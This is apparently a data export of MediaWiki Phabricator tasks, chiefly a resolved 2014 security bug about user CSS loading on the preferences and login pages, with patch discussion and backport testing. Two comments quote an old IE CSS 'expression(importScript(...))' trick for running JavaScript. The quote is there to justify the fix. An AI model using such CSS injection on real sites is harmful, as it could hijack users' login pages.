+**Severity**: normal",Needs Triage,90.0,1410378360,1417887106.0,PHID-USER-ekxwfh3pd7ipy3q6jpdj,False,PHID-USER-ekxwfh3pd7ipy3q6jpdj,False,PHID-TASK-ygetlcda3pc5nphufjra,task_description,resolved,True,c3,1,True,True,True,-43,True,0,0,0,1,1,1,1,1,0,1,1,0,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,1,1
+72672,User specified CSS loads on Special:Preferences / Special:UserLogin,"While investigating T70521 today, me and Helder noticed that user-created CSS is loaded on Special:Preferences and Special:UserLogin. Both special pages call `$out->disallowUserJs()`, which only controls `TYPE_SCRIPTS`, not `TYPE_STYLES` or `TYPE_COMBINED`.
+
+Is this a bug? Or is it safe for CSS to run on those pages?
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal
+**See Also**:
+* {T73007}
+* {T73621}",Needs Triage,90.0,1410374220,1412274197.0,PHID-USER-v7vgzvvcw7v2umf737ri,False,,False,PHID-TASK-ctlzqbhplfckhrqinlks,task_description,resolved,True,c3,1,True,False,True,-43,True,0,0,0,1,1,1,1,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,0,1,1,1,1,0,0,1
+688171,User specified CSS loads on Special:Preferences / Special:UserLogin,"@Subfader You will have to set the [[ https://www.mediawiki.org/wiki/Manual:$wgAllowSiteCSSOnRestrictedPages | $wgAllowSiteCSSOnRestrictedPages ]] configuration parameter to ""true"".",,,1467634580,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,3,False,,,52,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,1,1,1,0,0,0,0,0,0,1
+688156,User specified CSS loads on Special:Preferences / Special:UserLogin,When will this be fixed? I installed MW 1.27 and Special:Preferences is still broken.,,,1467632734,,PHID-USER-qjb2hbe663dhrrpskylp,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,3,False,,,52,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,1,0,1,0,1,1,0,0,1,0,1,0,0,0,0,0,0
+325625,User specified CSS loads on Special:Preferences / Special:UserLogin,"Bug 71621 is tracking the issue of site-wide styles not being loaded, and I've uploaded a patch for it.",,,1412924517,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-38,True,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+325623,User specified CSS loads on Special:Preferences / Special:UserLogin,"I talked with Kunal about this yesterday. My perspective is that admin controlled css is probably the least likely place someone is going to inject something malicious. The user controlled css is the part that scares me the most.
+
+I'd be ok with a config option to allow Common.css and the skin css files through. I'm not sure how much work that would be in resource loader.",,,1412720500,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-39,True,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,0,1,0,1,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,1,0
+325620,User specified CSS loads on Special:Preferences / Special:UserLogin,"I'm in agreement with Alexia and Bawolff (and kgh). For sites that use that use massive custom changes to their skins, such as the background color or the sidebar, having all this not show up on Special:Preferences or Special:UserLogin really takes away more than the minimal security it adds. Given that, as Alexia said, only administrators can even edit these interface pages, it's only reasonable that they should affect the entire site. Using my own site as example: http://grisaiawiki.net/ where I changed all sorts of colors and styles through Common.css, I was a bit off-put when I noticed that my changes aren't showing up on a few pages. User-specific CSS and JS not showing up on these pages is fair, but site-wide interface edits should get through.",,,1412707396,,PHID-USER-tpqtzmxxwl5x3fib6u4k,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,0,1,0,0,1,1,0,1,1,0,0,1,1,1,1,0,0,0,1,0,0,1,0,1,0,1,0,1,1,1,1,1,0,1,0,0,1,1,1,0,0,1,0,0,1,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,1,0,0
+325618,User specified CSS loads on Special:Preferences / Special:UserLogin,This is indeed a big problem for wikis which use on-wiki custom skinning. Besides this indeed rather the regular case than a rare one. Now with some days having passed I can report that people even thought their login was maliciously hijacked since this page now looks totally different than the rest of the wiki. While the actual security increased the felt security dramatically plunged. :( I utterly agree with Bawolff.,,,1412668183,,PHID-USER-37d2msujvpp2rippbzoq,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,1,0,1,1,0,1,1,0,0,0,0,0,1,0,0,1,0,1,1,0,0,0,1,0,1,0,0,0,1,0,1,1,1,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,1,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+325615,User specified CSS loads on Special:Preferences / Special:UserLogin,"FWIW, I don't think the security benefit (which is at best minimal) of this change is worth the inconvenience to users who do custom skinning by editing MediaWiki:Common.css (See also my email to wikitech-l https://lists.wikimedia.org/pipermail/wikitech-l/2014-October/078903.html )",,,1412432953,,PHID-USER-dpu5hmqvprhycqlkdzrk,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-39,True,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,0,0,1,0,1,0
+325611,User specified CSS loads on Special:Preferences / Special:UserLogin,"It appears this change is also affecting custom skin CSS(Mediawiki:Vector.css) instead of only cusotm user CSS.  This prevents custom site styles, that are only editable by the site administrators, loaded through Mediawiki:Vector.css to not display when on those pages.  Unfortunately that ends up being a jarring experience for the end user.",,,1412347349,,PHID-USER-x6bqmsddkjigelco4gwe,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0
+325606,User specified CSS loads on Special:Preferences / Special:UserLogin,"(In reply to Markus Glaser from comment #15)
+> Giving early access to Wikia
+
+What about those of us who are running giant platforms as well such as Gamepedia?",,,1412347179,,PHID-USER-qodtymkz2efhettqj7dz,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,1,0,1,1,1,1,0,0,1,0,1,0,1,1,0,0,1
+325600,User specified CSS loads on Special:Preferences / Special:UserLogin,"Change 164271 merged by jenkins-bot:
+SECURITY: OutputPage: Remove separation of css and js module allowance
+
+https://gerrit.wikimedia.org/r/164271",,,1412213424,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+325597,User specified CSS loads on Special:Preferences / Special:UserLogin,"Change 164271 had a related patch set uploaded by Legoktm:
+SECURITY: OutputPage: Remove separation of css and js module allowance
+
+https://gerrit.wikimedia.org/r/164271",,,1412212654,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+325592,User specified CSS loads on Special:Preferences / Special:UserLogin,Publishing this bug as the release is out.,,,1412208686,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0
+325590,User specified CSS loads on Special:Preferences / Special:UserLogin,Thanks Grunny for your help!!,,,1412208594,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-39,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+325587,User specified CSS loads on Special:Preferences / Special:UserLogin,Tried Kunals test in all branches and it works.,,,1412195374,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-40,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+325583,User specified CSS loads on Special:Preferences / Special:UserLogin,"(In reply to Markus Glaser from comment #13)
+> Created attachment 16619 [details]
+> Backport to REL1_19
+> 
+> MediaWiki 1.19 is still running... I found not exact way to reproduce the
+> exploit, so I can't really say if the patch fixes the issue. I'd be
+> extremely happy if someone else could have a look at the patch and confirm
+> it works. Also, I have packported the deprecation notices. Not sure if that
+> makes sense. If not, I will provide another patch without these notices.
+> Please advise.
+
+Tested 1.19 patch, and it's working fine.
+
+**Attached**: {F14957}",,,1412173617,,PHID-USER-ozio6hmebkfdrn7rqxr2,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-40,True,0,1,1,0,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+325577,User specified CSS loads on Special:Preferences / Special:UserLogin,Giving early access to Wikia,,,1412122570,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+325571,User specified CSS loads on Special:Preferences / Special:UserLogin,"(In reply to Markus Glaser from comment #10)
+> Just to make sure: I assume this is deployed on the WMF servers already?
+
+Yes.
+
+(In reply to Markus Glaser from comment #11)
+> MediaWiki 1.23 is still running... I found not exact way to reproduce the
+> exploit, so I can't really say if the patch fixes the issue. I'd be
+> extremely happy if someone else could have a look at the patch and confirm
+> it works. Also, I have packported the deprecation notices. Not sure if that
+> makes sense. If not, I will provide another patch without these notices.
+> Please advise.
+
+To test it, add ""body { background-color: red }"" to your MediaWiki:Common.css. Note that your pages now have a red background. Visit Special:Preferences and/or Special:UserLogin. The red background should disappear if the patch is present and working.",,,1411955993,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-40,True,0,1,1,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,1,0,0,0,0,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,0,0,1,0,1,0,0,1
+325568,User specified CSS loads on Special:Preferences / Special:UserLogin,"Created attachment 16619
+Backport to REL1_19
+
+MediaWiki 1.19 is still running... I found not exact way to reproduce the exploit, so I can't really say if the patch fixes the issue. I'd be extremely happy if someone else could have a look at the patch and confirm it works. Also, I have packported the deprecation notices. Not sure if that makes sense. If not, I will provide another patch without these notices. Please advise.
+
+**Attached**: {F14957}",,,1411946353,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-40,True,0,1,1,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+325565,User specified CSS loads on Special:Preferences / Special:UserLogin,"Created attachment 16618
+Backport to REL1_22
+
+MediaWiki 1.22 is still running... I found not exact way to reproduce the exploit, so I can't really say if the patch fixes the issue. I'd be extremely happy if someone else could have a look at the patch and confirm it works. Also, I have packported the deprecation notices. Not sure if that makes sense. If not, I will provide another patch without these notices. Please advise.
+
+**Attached**: {F14955}",,,1411946315,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-40,True,0,1,1,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+325561,User specified CSS loads on Special:Preferences / Special:UserLogin,"Created attachment 16617
+Backport for REL1_23
+
+MediaWiki 1.23 is still running... I found not exact way to reproduce the exploit, so I can't really say if the patch fixes the issue. I'd be extremely happy if someone else could have a look at the patch and confirm it works. Also, I have packported the deprecation notices. Not sure if that makes sense. If not, I will provide another patch without these notices. Please advise.
+
+**Attached**: {F14954}",,,1411946275,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-40,True,0,1,1,0,1,1,1,0,0,1,0,1,0,0,0,1,0,1,1,1,1,0,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+325556,User specified CSS loads on Special:Preferences / Special:UserLogin,Just to make sure: I assume this is deployed on the WMF servers already?,,,1411929367,,PHID-USER-qfsdosrnxswxjuku752n,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-40,True,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+325553,User specified CSS loads on Special:Preferences / Special:UserLogin,"Given the above breakage, we should probably get these patches out before the next monthly maintenance release.",,,1411681207,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-40,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0,0
+325550,User specified CSS loads on Special:Preferences / Special:UserLogin,This bug not being public caused bug 71334 today.,,,1411680878,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-40,True,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+325547,User specified CSS loads on Special:Preferences / Special:UserLogin,"The patch is working for me, and fixes the issue. I think lego's comments should be done in a public patch, to keep the security one small.
+
+I'll get this deployed.",,,1410894199,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,1,1,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,0,0
+325542,User specified CSS loads on Special:Preferences / Special:UserLogin,"Tested, patch works fine so +1.
+
+Nitpicks (not sure if these should be done as the original security patch or after it's public...):
+
+* We should deprecate disallowUserJs and create a disallowUserModules
+* OutputPage::filterModules and makeResourceLoaderLink shouldn't pass $type to getAllowedModules",,,1410479181,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,1,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,0,0,0,0
+325536,User specified CSS loads on Special:Preferences / Special:UserLogin,"(In reply to Krinkle from comment #4)
+> Created attachment 16447 [details]
+> Proposed patch
+
+Commit message
+-------
+
+OutputPage: Remove separation of css and js module allowance
+
+* No longer segment module origin allowance by an ""only="" content
+  type. Both can be sensitive security-wise and there's no valid
+  use case for allowing CSS anywhere you want to disallow JS. Both
+  can significantly impact the user interface and cause unintended
+  actions to be taken on the user's behalf, or desired actions to
+  be made practically impossible.
+
+* While at it, also remove the ability to set the module allowance
+  directly. The reduceAllowedModuleOrigin method is all we need.
+  I couldn't find usage or mention of setAllowedModules() in
+  mediawiki-core nor in any other Wikimedia-hosted repository.
+
+Bug: 70672
+-------
+
+**Attached**: {F14952}",,,1410477312,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-42,True,1,0,0,1,1,1,1,0,0,0,1,1,0,1,1,1,0,1,1,0,1,0,1,0,0,1,0,0,1,0,0,1,1,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,1
+325528,User specified CSS loads on Special:Preferences / Special:UserLogin,"Created attachment 16447
+Proposed patch
+
+**Attached**: {F14952}",,,1410477293,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+325519,User specified CSS loads on Special:Preferences / Special:UserLogin,"Aside from IE's non-standard way of executing code, there's also unlimited ways of tricking the user into performing actions by manipulating the interface from CSS (which then results in the unintended execution of otherwise trusted *server-side* code).
+
+When ResourceLoader was given an ""origin"" marker, this was designed to apply to a module. Not to scripts only.
+
+I believe disallowUserJs predates ResourceLoader and might just generally have an unfortunate name (legacy aside), and should imho disallow userCss as well.",,,1410475116,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-42,True,0,0,0,1,1,1,0,0,0,0,1,1,0,1,1,1,0,1,1,0,1,1,0,0,1,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+325511,User specified CSS loads on Special:Preferences / Special:UserLogin,"(In reply to Helder from comment #1)
+> According to
+> https://bugzilla.wikimedia.org/show_bug.cgi?id=48931#c3
+> in IE in quirks mode you can also execute javascript using CSS:
+> .mw-special-Preferences {
+>  color:expression(importScript(""...""));
+> }
+
+There are several ways to execute javascript from css. I would prefer we didn't allow it.",,,1410387298,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,True,,,-43,True,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,0,1,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,1
+426813,User specified CSS loads on Special:Preferences / Special:UserLogin,"According to
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48931#c3
+in IE in quirks mode you can also execute javascript using CSS:
+```
+.mw-special-Preferences {
+ color:expression(importScript(""...""));
+}
+```",,,1426504876,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-16,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0
+325505,User specified CSS loads on Special:Preferences / Special:UserLogin,"According to
+https://bugzilla.wikimedia.org/show_bug.cgi?id=48931#c3
+in IE in quirks mode you can also execute javascript using CSS:
+.mw-special-Preferences {
+ color:expression(importScript(""...""));
+}",,,1410374812,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-ctlzqbhplfckhrqinlks,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,0,0
+72666,Fatal exception of type MWException on Special:CentralLogin,"I was on
+https://bugzilla.wikimedia.org/show_bug.cgi?id=68521
+and clicked in the link [[Special:UserLogin]] which appears in the bug title. This loaded a page like
+https://en.wikipedia.org/wiki/Special:CentralLogin/complete?token=<some token>
+which was a mostly blank page, containing just this:
+[99330200] 2014-09-10 17:57:56: Fatal exception of type MWException
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Needs Triage,90.0,1410372000,1410372058.0,PHID-USER-sryrz6tgcfnnsiddx32p,False,,False,PHID-TASK-j3cgog2vjixso7muysak,task_description,resolved,True,c3,1,False,False,True,-43,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,1
+325280,Fatal exception of type MWException on Special:CentralLogin,-> please comment on bug 69834 if it's still an issue,,,1410386613,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-j3cgog2vjixso7muysak,task_subcomment,,True,c3,1,True,,,-43,True,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+325273,Fatal exception of type MWException on Special:CentralLogin,"The error disappeared after reloading the page change, and then I got
+""The provided authentication token is either expired or invalid.""
+but the error happened again when I clicked in the link from the other bug:
+[d7f6cf79] 2014-09-10 18:00:46: Fatal exception of type MWException",,,1410372113,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-j3cgog2vjixso7muysak,task_subcomment,,True,c3,1,False,,,-43,True,0,0,0,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,1
